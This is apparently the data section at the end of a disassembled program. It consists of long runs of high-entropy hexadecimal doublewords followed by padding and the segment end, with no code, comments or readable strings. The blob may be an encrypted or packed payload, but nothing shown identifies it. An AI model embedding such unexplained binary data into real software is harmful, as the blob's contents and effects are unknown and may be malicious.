		dd 4C14F5E1h, 0B83FB0AFh, 4BB4D476h, 0C4CB812Ah, 30EA62C3h
		dd 603E9E5Ch, 0D30F10C3h, 0DF8D65B3h, 230BA0F3h, 5397CF99h
		dd 0C6B2582Dh, 0E6993B06h, 6054CF91h, 6C876A65h, 52CC48h
		dd 0D8768972h, 2FB5727Bh, 9F419B65h, 0EC4825A4h, 4202C88Ch
		dd 0F459306Eh, 68E92084h, 48A5733Dh, 9FE4BDCCh,	6ADA95FCh
		dd 0E5EA85F3h, 7D68FEA1h
		dd 6ECB4571h, 0EF707B29h, 447BCBEFh, 7DDA9F81h,	0AC5BCF6Eh
		dd 0EB739474h, 2BB891BEh, 33F82B15h, 0CBFC49Ch,	0F5A796E3h
		dd 95B193D1h, 566148E8h, 0D650D967h, 9F67C6E1h,	76D8517Fh
		dd 0BAFA2F64h, 0D095D429h, 3DC4B03Ch, 4F22E99Bh, 0BAB118C7h
		dd 9851EE09h, 44C2E8A6h, 0E7F1E2C8h, 0DB10D5CDh, 7214BDB5h
		dd 0D8C77AB5h, 6048A70Ch, 49141153h, 6D31A284h,	0B7C5D373h
		dd 993A9492h, 7D2C6E7Fh, 2853A020h, 542F160h, 7B178758h
		dd 0B4E5E7D1h, 268A22F0h, 0B70B7AD0h, 0B0C887C9h, 36DCC302h
		dd 0E53D8024h, 19C51769h, 2BE01654h, 0D858089Eh, 0E79D514Ah
		dd 0A9EC7D79h, 4E95B01Ah, 409511CFh, 59274C53h,	0DF4DA59Fh
		dd 0D4DACAFEh, 0FEB7352Ch, 0E6FDAEE8h, 0C840482Dh, 108DE398h
		dd 5D2A20EFh, 4596EB09h, 0E7ABD1F0h, 0C577EEE6h, 0D912B0C9h
		dd 0AB9972F2h, 264C4EC7h, 0E9A2BDB4h, 0C12960C3h, 0F8FE99CFh
		dd 8FC6FC98h, 9CD16AB5h, 0FAD8B04Eh, 166E9F35h,	0AA7B6ED5h
		dd 0A5C1A768h, 0D2B1B485h, 0CCAF5093h, 44A925B6h, 0F7284BDEh
		dd 0EB484B40h, 5ED71EAAh, 664E3A32h, 35013679h,	0F286FA6Fh
		dd 1997784Dh, 1922E82Ah, 0F7088AF0h, 8AB9E634h,	0CB3EDBE3h
		dd 8C861017h, 0FE06C5F2h, 75180402h, 0CD46A6CBh, 84D45BD4h
		dd 0AAA124BDh, 0F046C675h, 0FE98C550h, 69F90F1h, 6536DBBCh
		dd 46DD9A4Ch, 11E5459Fh, 3B34D219h, 1050BD25h, 6BD04C62h
		dd 0CBED3275h, 1EEA80CFh, 737EE841h, 0AC5FC092h, 67B4737Eh
		dd 0B7EFB3C5h, 0D5EDD8C2h, 0CB1318B8h, 0DA9E0C0Ah, 0D794B480h
		dd 305CBFEAh, 0DE34FBFBh, 0D6C3E08Eh, 0FB5C6288h, 1717C6FFh
		dd 5A819E24h, 9D359C09h, 331CE4CBh, 8C4E9FD3h, 0B4E84AACh
		dd 86406AEBh, 46FBC6A5h, 60081D26h, 9F84420Eh, 0CA349C9h
		dd 657F023h, 0FA4CA14Bh, 98672DE9h, 0B42B9805h,	0D8FD02D2h
		dd 8950965Fh, 0A2F9B6Ah, 0E5652C7Eh, 0FE5EF103h, 0EB298545h
		dd 0CC650DF0h, 6E186C68h, 2F21B7E5h, 1374573Ch,	8488FEB9h
		dd 0EE43DA93h, 29277EABh, 202A3B1Eh, 7E07A148h,	59F93215h
		dd 0DF64B4DAh, 6D39498Ah, 17B172AFh, 2186212Bh,	5CEF435Ch
		dd 8064021h, 3B7CDD42h,	77323507h, 5F7BC204h, 8320A633h
		dd 3BA8D61Fh, 397EA07Fh, 0C1C0E8A9h, 0CCF01342h, 0A20D5B2Ch
		dd 192B803h, 70017C7Ch,	0CD3BFB7h, 0B2960297h, 1C61A8DEh
		dd 0C89BCCDh, 0EE34956Eh, 0A29F3D93h, 3D11B1C7h, 64DCA472h
		dd 24D052B3h, 0DD71DD94h, 4B5460E4h, 0D36E65BFh, 4FABB2FAh
		dd 0E4B20D4Bh, 540C77CAh, 4FBBB86Fh, 6C16C062h,	0E5F61822h
		dd 57E3C965h, 732EFBFCh, 1D67616Ch, 0DE551804h,	21042B9Eh
		dd 6E16613Ch, 1C1AE54h,	813D2E7h, 7C0D7D29h, 8418C891h
		dd 8C9EEC99h, 0CCFEFDE8h, 0EE94F19Bh, 5DFB5022h, 8A83903Eh
		dd 79499D2Fh, 0CF330551h, 2B0870D6h, 8B66AD0Ch,	0EDFC7E6Fh
		dd 70D8CE7Ah, 5C513917h, 0F9687B4h, 592BD97Ch, 756ED14Fh
		dd 2487B5F2h, 168357E3h, 62034C68h, 975E185Fh, 1A41E961h
		dd 0D89BAC7Ch, 889B55C2h, 70355C3Fh, 0AF200054h, 8B1F0C5h
		dd 63857A94h, 43210A00h, 0C349C980h, 8F3E6A37h,	0D8C85474h
		dd 315C8EC4h, 0E6DAA670h, 0E3EA179Ah, 29D06A55h, 0F95EBAB9h
		dd 69903997h, 8599BA7Eh, 798C22ECh, 0A65F861Bh,	0A14A56ABh
		dd 38BD9419h, 0E3515B2Ch, 397185D8h, 54EFD44Dh,	26017E3Eh
		dd 104BAA75h, 1A29A630h, 811102AFh, 27575EC7h, 0D3A6D548h
		dd 0A22C68E9h, 0E9673D03h, 0F850C9F0h, 0B71FB8FDh, 83A7F3C2h
		dd 0CE36147Bh, 0A8AC83E9h, 0D7A6E8D4h, 0DD99BDFFh, 645600C8h
		dd 5655BA8Ch, 0F366BE32h, 0B2600758h, 24E69A5Fh, 7A2A7F36h
		dd 9163D96Bh, 3343063Ch, 0FE903BE8h, 84073636h,	0EF15C289h
		dd 0F0AC0228h, 1A2E7DE7h, 0A1040317h, 0A60CB782h, 0C38BAF5Dh
		dd 192207EEh, 82FDF25Eh, 0D286E9C5h, 0FAF0409Bh, 0C7FC4E58h
		dd 0CFD058A7h, 7E385555h, 0C1C554B3h, 0BD77968Bh, 492E13E5h
		dd 43CEE1BFh, 5D52B093h, 7AC1EA97h, 0C34D6309h,	9B6A6FB7h
		dd 8E4F702Ah, 0A13B6647h, 57D6F0DFh, 9C0B4AEEh,	0EC58D857h
		dd 1E90EBA7h, 1A52F077h, 5F9FB124h, 0C6CD7BB0h,	0D035707h
		dd 3D7D3D8Dh, 0E0984C58h, 43C2322Eh, 52DC62B4h,	2CF039B8h
		dd 0CDA1D986h, 0CBE78461h, 0ED88DED9h, 271CC270h, 3C718E8Eh
		dd 4895F3D1h, 0BCB0ABECh, 3EBEA64Ch, 0BBF0EC64h, 0EF21E6AEh
		dd 882364DEh, 652AF9D4h, 0C00C9A1Ah, 0A6D14689h, 6C59CF72h
		dd 1DC5CEC7h, 28C3FBAFh, 0A0E4D5D1h, 915393B5h,	0BE8B3414h
		dd 13ECA5ABh, 712F31C4h, 74BB549Bh, 11930F47h, 3F041D5Ch
		dd 0AF3BCC86h, 7AA3D81Fh, 790F166Bh, 0DF059A5Bh, 2A96B361h
		dd 6672E9DDh, 4F708D46h, 0AFF3C103h, 162C9E78h,	93A139EBh
		dd 0CB1D09C1h, 0E4422E22h, 152FF463h, 8F57BB8Bh, 30F39F6Ch
		dd 0FDE4CE3Fh, 3A4C1B86h, 0A2BB6D49h, 1EAF2D2Ch, 0F0559E79h
		dd 0A25094Ah, 44EF8E88h, 5FDF021Eh, 0DFD9E5F2h,	0C61CAF50h
		dd 60A5F3F6h, 0B88A2CE6h, 758E8A69h, 26938A9Ah,	189FF0DEh
		dd 7793CF2Dh, 0FC1C6E1h, 87016D99h, 0DD6402D2h,	0AD55E38Fh
		dd 0A7EFCBB7h, 847411A4h, 6FE3A16Ch, 0EF5B9618h, 0FAB4B790h
		dd 92A4EE23h, 102075F8h, 1C1BFF07h, 8192BCA3h, 1C8C8D2Bh
		dd 0CE16AB27h, 6C33B037h, 0B075987Bh, 0CA1A4D06h, 61CA5585h
		dd 6971EC70h, 2E47A442h, 0A552F86Fh, 0FCD12522h, 0E3FFD7D3h
		dd 69EE0DA9h, 545884C7h, 0C9BD7515h, 80584174h,	144BB0F8h
		dd 0AAC6FD35h, 0C908C96Ah, 5035DFA5h, 0FAD38524h, 0CB199A41h
		dd 0F068E46Fh, 5EA1D37Ch, 780C1683h, 7D14B4C2h,	9DA81495h
		dd 0EC5474D7h, 0FE8A2140h, 0BD9EB31Bh, 0C2B40165h, 4D354F6Dh
		dd 0AE8373EBh, 0FAC103ECh, 0E4C0D590h, 0F560147Ah, 5B27D462h
		dd 3A246EFCh, 0EA668A8Bh, 61FBD91Dh, 2D80770Fh,	4141222Dh
		dd 3C0854A8h, 7530E5BDh, 0A2F47497h, 0E42429EFh, 5C422D25h
		dd 8E671DF8h, 1E4590EBh, 0EB5957CDh, 0B8283A5Ah, 5F0E3650h
		dd 0C32C37Ch, 1507E29Bh, 1F52DBE0h, 4E9EC10Ch, 0D9F31865h
		dd 1D9D7F6Bh, 7297E940h, 299ED33Bh, 0DCCDB18Eh,	13D9BF66h
		dd 23C4DD00h, 2AF897E1h, 927F5001h, 0FDE5C470h,	42CF81ABh
		dd 5A86103h, 1EDAE4B9h,	977DA331h, 9571FF18h, 28646115h
		dd 97DB9396h, 7EF682Ah,	19D80AD3h, 40F44C72h, 3BC14561h
		dd 0C7CC51B8h, 3501675Bh, 27521CEEh, 0AA357E5Ch, 8CDA5C63h
		dd 154E0107h, 0C9DE07E7h, 3B1F37B4h, 0C5F91F4Eh, 4608BC3Bh
		dd 321290B7h, 0B159E459h, 9F08548h, 6D3E0366h, 42BDBFE9h
		dd 2438B357h, 1BDDD68Ah, 0C34A85Fh, 6A43E4A2h, 54F5D5F0h
		dd 76D6501Dh, 944033E7h, 60EB3059h, 0B16CDE14h,	7B37B019h
		dd 0CF65F32Dh, 8032A389h, 0A452274Ah, 6D8A53A4h, 674E2AD5h
		dd 0D7024E39h, 6A56D262h, 0E37601CEh, 27011B25h, 84CDFD28h
		dd 8A6350B0h, 0D7885414h, 0BFCD813Dh, 31A5E27Ah, 0FA1A904Eh
		dd 0AEB00D5Bh, 0DAEE7692h, 108712ADh, 0CF1A0ACAh, 7B1F2021h
		dd 6F5EC1FBh, 0BB5DF708h, 4FC16632h, 0C04F8A2h,	7BDC175h
		dd 1CDBC3F4h, 190C7A3Bh, 0F698A408h, 7E36B196h,	6D51871Dh
		dd 6D107D0Ah, 886A7E93h, 0BDF53F09h, 3DC75BAh, 44D393A7h
		dd 0AD4F7DB8h, 0BE7DCF47h, 7BE0F7B7h, 0A8816F50h, 5908D259h
		dd 2A503491h, 0D2C8C52Ah, 2A9AF4C5h, 0A7146946h, 9A2D2EF2h
		dd 38BFB1C5h, 17623986h
		dd 43BAF1C0h, 5D7CB5A8h, 5E492D25h, 72D93DC3h, 456BD1Fh
		dd 545EC38Eh, 0E0BFDF9Eh, 0A9A5F0Dh, 8864D72Fh,	0DDC2244Bh
		dd 0D6278DC6h, 2DACF2A4h, 0E1FBFCBEh, 0EA47CF0Ah, 8D0BF91h
		dd 0D5991D8Dh, 768E0148h, 5F2F6672h, 2ABC47B0h,	0BD2E707Dh
		dd 0F4B003C3h, 7773A8F3h, 3089CADDh, 2DCF1B43h,	25E29008h
		dd 0F346C305h, 0AD0BAC6h, 939BAB16h, 3D273340h,	0DBF5B2AAh
		dd 0B77154Eh, 5492699Eh, 0E398BD8Dh, 0C7FFD470h, 0A62D8EDDh
		dd 2DA1D066h, 0E7F44B1Bh, 53B9638Dh, 6276841Dh,	66F9CDD6h
		dd 59B12E9Eh, 92ECD3CEh, 50BB6FB7h, 28093959h, 6E7D9767h
		dd 20D8AA78h, 0D80E6BEBh, 0B6A1A1E1h, 6B8BDD49h, 20E1CD68h
		dd 65D0EAEBh, 0EAA2752Ah, 59A085AAh, 35D4EEh, 0B9E7AF16h
		dd 22D9BEACh, 6DCBB27Eh, 22C889E8h, 37524F97h, 0B560BA7Fh
		dd 85483976h, 6160449Bh, 0AD81DFA2h, 899E58EAh,	0D4F6A050h
		dd 14AAD13Ah, 34BEC535h, 0C8E0E4DFh, 0EA49ECB1h, 0DFFE7425h
		dd 0C5FCA37Ah, 0D4885A20h, 1BC5F080h, 0F93F069Ah, 0BF6CECBFh
		dd 7276507Bh, 5270CFD7h, 659793D1h, 0C780F850h,	480C5B57h
		dd 0A61FD68Bh, 17113360h, 0D5DF23DCh, 1A1B2C4Fh, 2BD15752h
		dd 8670DA90h, 7CFB310Fh, 8788C6C0h, 0FC36541Ch,	0E0556B05h
		dd 451FFB95h, 1EB8E032h, 0D8E68D97h, 748F4013h,	0EA24F01Ch
		dd 6DA370D3h, 397252D7h, 64758BC7h, 94FBB54Bh, 1D1E1B45h
		dd 60CEE0B3h, 0AB2B35Ah, 0E147E661h, 51F79BDDh,	0C4134A03h
		dd 2C74C490h, 0F8FF08DAh, 3AC83951h, 67B970E3h,	22AD7A4Fh
		dd 0EBB5DC4Bh, 0BAF03900h, 8A6DBC7Dh, 0ABE3ADD6h, 1F0ECB6Eh
		dd 112C155Ah, 0B1212596h, 4B31370Eh, 148FBABh, 6BDCBE21h
		dd 9B98321Ah, 73252E80h, 5063CC2Eh, 2D6FD17Dh, 8800D2E9h
		dd 4C01EB2Bh, 0BB81F1F6h, 58D14004h, 1E927CC5h,	0B4F006CCh
		dd 177D8B3Bh, 0ECEF139Ch, 777DA16Ah, 0D716787Fh, 7FA85039h
		dd 19ABE5E5h, 4EDC74Fh,	4C77DA5Eh, 0D6E538ECh, 9030B69Ch
		dd 0C2BCF4B5h, 2FF80318h, 859D5830h, 7CA6E349h,	376399FDh
		dd 0E0F5C69Ch, 0F4F7167Dh, 0D63FC2DFh, 52F5CE8h, 0D5F0378h
		dd 5091D728h, 69967A77h, 0D8160748h, 0E7B411D6h, 0C3BE93Eh
		dd 1F34F255h, 0DAA7409Fh, 4C99BA8Fh, 841FF461h,	9FBB602Fh
		dd 6EDECEB3h, 0C527E2D8h, 38CC3083h, 0E243A2Eh,	1F3DDEB7h
		dd 12FB1962h, 0C1083658h, 0D0F20C7Ch, 4E8B2A3Eh, 0F4222C25h
		dd 0DA46E3D9h, 6FFB2FADh, 3E7AA639h, 6C06DD1Bh,	0F9E76B55h
		dd 99535BCAh, 3890A54Ch, 3AFA9382h, 3B47D0C8h, 1EB71D81h
		dd 743F18ACh, 3E25F02Eh, 46E2C815h, 93B82107h, 709BF19Fh
		dd 0A71CA119h, 47921766h, 5033BC13h, 5E7A58F4h,	0DF7D07B9h
		dd 1486AAEBh, 9ECE1045h, 890FC7D2h, 0E6928BF1h,	0A052546Bh
		dd 9B4F0781h, 32618B06h, 5E83E079h, 675FE320h, 7835936Ch
		dd 6FC805B3h, 0B9C0E349h, 56109Eh, 0AEC466CBh, 0ADAB4BEDh
		dd 64D43616h, 945A7FFBh, 47DED2D1h, 0DF942040h,	0D5F7C1D8h
		dd 0C4CF8922h, 152D2237h, 69950E5Ah, 0EA0F6EDDh, 0ED8096A9h
		dd 9B8B8841h, 7F4512B3h, 0A098A558h, 6C131E7Eh,	0D76113E3h
		dd 0AC224A0Ch, 7EA5AD8Eh, 0EDC382BCh, 0A6D08C28h, 20629B61h
		dd 0AEC2369Dh, 0DC3C2B4h, 0C5688D3Eh, 79E5638Ch, 0B228EB33h
		dd 49D317AAh, 0F585C635h, 89E5DDE6h, 117366C5h,	0DFC108Dh
		dd 0B5D38D36h, 45DF4F1Bh, 7F33439Dh, 0F5E41F4Eh, 0D6DC3BD7h
		dd 0D1351276h, 0BED5910Dh, 851321Dh, 206BBF5Dh,	5F21C9F7h
		dd 228FC1FFh, 504D81DCh, 870948ADh, 0C5BFC4B2h,	65B866B6h
		dd 0B145266Bh, 5068EFF4h, 66263275h, 0AA0CAA84h, 0C7DB28F5h
		dd 0E6207331h, 285BCD9Eh, 63DE2FAh, 3AF328C4h, 0CA8D35DEh
		dd 0F465ED16h, 822EB2B9h, 2B9B9910h, 15611E1Ah,	0E4813BE2h
		dd 79986361h, 85AC7E4Dh, 20C97C82h, 0DB4787C6h,	621064F3h
		dd 0A6A53833h, 8AFE362Ch, 0ED4D0E20h, 6FC46018h, 368EC5C1h
		dd 0FB39F443h, 88AFFB52h, 0BCA507DAh, 8859BF4Fh, 3715DB47h
		dd 0BA56291Eh, 0E26929Bh, 26E40CE3h, 5805BD5Ah,	736224B4h
		dd 1278ED9Fh, 446CF5C0h, 26F92F64h, 50048A1h, 970F09C5h
		dd 0C60CE0D0h, 0E7D2B433h, 0EABB37ADh, 7DB4423Ah, 0DD06D117h
		dd 0D9B1DB8Ah, 2CF64788h, 0AFE8163Ah, 2D8A1716h, 991D80E4h
		dd 921841E8h, 0ADD28988h, 0E8451F6Dh, 0B464BB06h, 0FFD3B9DBh
		dd 71E8E0A9h, 0D86A7553h, 0DB6775D7h, 0F0E61872h, 0C85D536Ch
		dd 0CD6F24DCh, 6D0EFA5Fh, 86EB0737h, 0A459AAFCh, 8F087DD0h
		dd 6E80D68Ah, 8D23B615h, 28A84043h, 0ABD8B8C2h,	6A0C404Ch
		dd 0F7FCD442h, 0AB3D4C0Dh, 8C53043Fh, 0B71AD2F8h, 0B7F32621h
		dd 566A7E8h, 6A822142h,	19DC9ADh, 711FCB68h, 0A28EF3E5h
		dd 4841529h, 97AE1ABDh,	56695BFDh, 3D42F608h, 0AFE38808h
		dd 0DDEB514Dh, 6FDC2340h, 0A9056F3Ah, 0E06642C2h, 0CDC7036h
		dd 0E80629B5h, 889A8DFBh, 78D74882h, 0A0697244h, 1424931Ch
		dd 0FF572FE2h, 0FB17A0F3h, 0BD7CB0E4h, 0B5A17F27h, 0A0447920h
		dd 7BB9AE26h, 0D4D401E7h, 0EADB367h, 5E7F22C2h,	0A48E9025h
		dd 4ED63F55h, 0E210D839h, 12B1262h, 85013796h, 2B468D76h
		dd 69289190h, 0C3CA91A7h, 2AAFC6F8h, 0F7D70E1Dh, 0BF8B977h
		dd 8AF6BBBFh, 0EE1B12B9h, 1FF81A7h, 57879F94h, 0D5B2B0D2h
		dd 23A2496Dh, 0F7576ADFh, 9D895D34h, 700DDC7Eh,	0D2B839E1h
		dd 8A339698h, 46B7D1E1h, 6E3A6D76h, 0BFE6B44Fh,	0B2226A0Fh
		dd 37A40380h, 4CA1AD82h, 7AECBBA7h, 0A5FA1435h,	137CCF1Ah
		dd 25543E69h, 0A22A636Ah, 0BAF78D32h, 3E35995Ah, 0F449F8ACh
		dd 3C76BEEFh, 0B45D7007h, 0EB822CD1h, 3EC6FF44h, 1Fh, 0E1h dup(0)
		dd 64000000h, 58295E2Fh, 4B805122h, 7377457Ah, 44454F4Fh
		dd 386D3F74h, 2C613267h, 1F54265Bh, 77487D4Eh, 2D314145h
		dd 71422A77h, 64356A3Bh, 58295E2Fh, 4B805122h, 0DFD9457Ah
		dd 0EEECECE8h, 76B7E0EEh, 0D05494Ch, 7DC9F2AFh,	2986581Ch
		dd 700h	dup(?)
_data		ends


		end start